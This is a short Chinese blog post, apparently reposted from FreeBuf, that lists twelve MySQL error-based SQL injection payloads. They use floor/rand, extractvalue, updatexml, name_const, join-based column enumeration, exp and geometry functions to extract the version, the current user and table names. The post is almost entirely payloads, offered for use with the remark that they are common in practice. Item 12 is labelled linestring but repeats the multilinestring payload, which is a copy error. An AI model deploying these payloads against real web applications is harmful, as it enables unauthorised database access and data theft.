SQL报错注入的函数及语句
条评论逛freebuf看见的。正好省的自己整理了。
注入的时候用的还很普遍,所以记录一下,也分享一下把。
前几个语句测试了一下,传了个图~
1、通过floor报错,注入语句如下:
1 | and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
2、通过ExtractValue报错,注入语句如下:
1 | and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); |
3、通过UpdateXml报错,注入语句如下:
1 | and 1=(updatexml(1,concat(0x3a,(select user())),1)) |
4、通过NAME_CONST报错,注入语句如下:
1 | and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c); |
5、通过join报错爆字段,注入语句如下:(在知道数据库跟表名的情况下使用才可以爆字段)
1 | select * from (select * from 表名 a join 表名 b) c) |
然后得到字段
如果想在爆下一个字段 就得加上using (已知的字段)
在下一个字段
如果想在爆下一个字段 就得加上using (已知的字段,已知的字段 )
1 | select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段 ) ) c) |
6、通过exp报错,注入语句如下:
1 | and exp(~(select * from (select user() ) a) ); |
7、通过GeometryCollection()报错,注入语句如下:
1 | and geometrycollection((select * from(select * from(select user())a)b)); |
8、通过polygon ()报错,注入语句如下:
1 | and polygon((select * from(select * from(select user())a)b)); |
9、通过multipoint ()报错,注入语句如下:
1 | and multipoint((select * from(select * from(select user())a)b)); |
10、通过multilinestring()报错,注入语句如下:
1 | and multilinestring((select * from(select * from(select user())a)b)); |
11、通过multipolygon()报错,注入语句如下:
1 | and multipolygon((select * from(select * from(select user())a)b)); |
12、通过linestring ()报错,注入语句如下:
1 | and multilinestring((select * from(select * from(select user())a)b)); |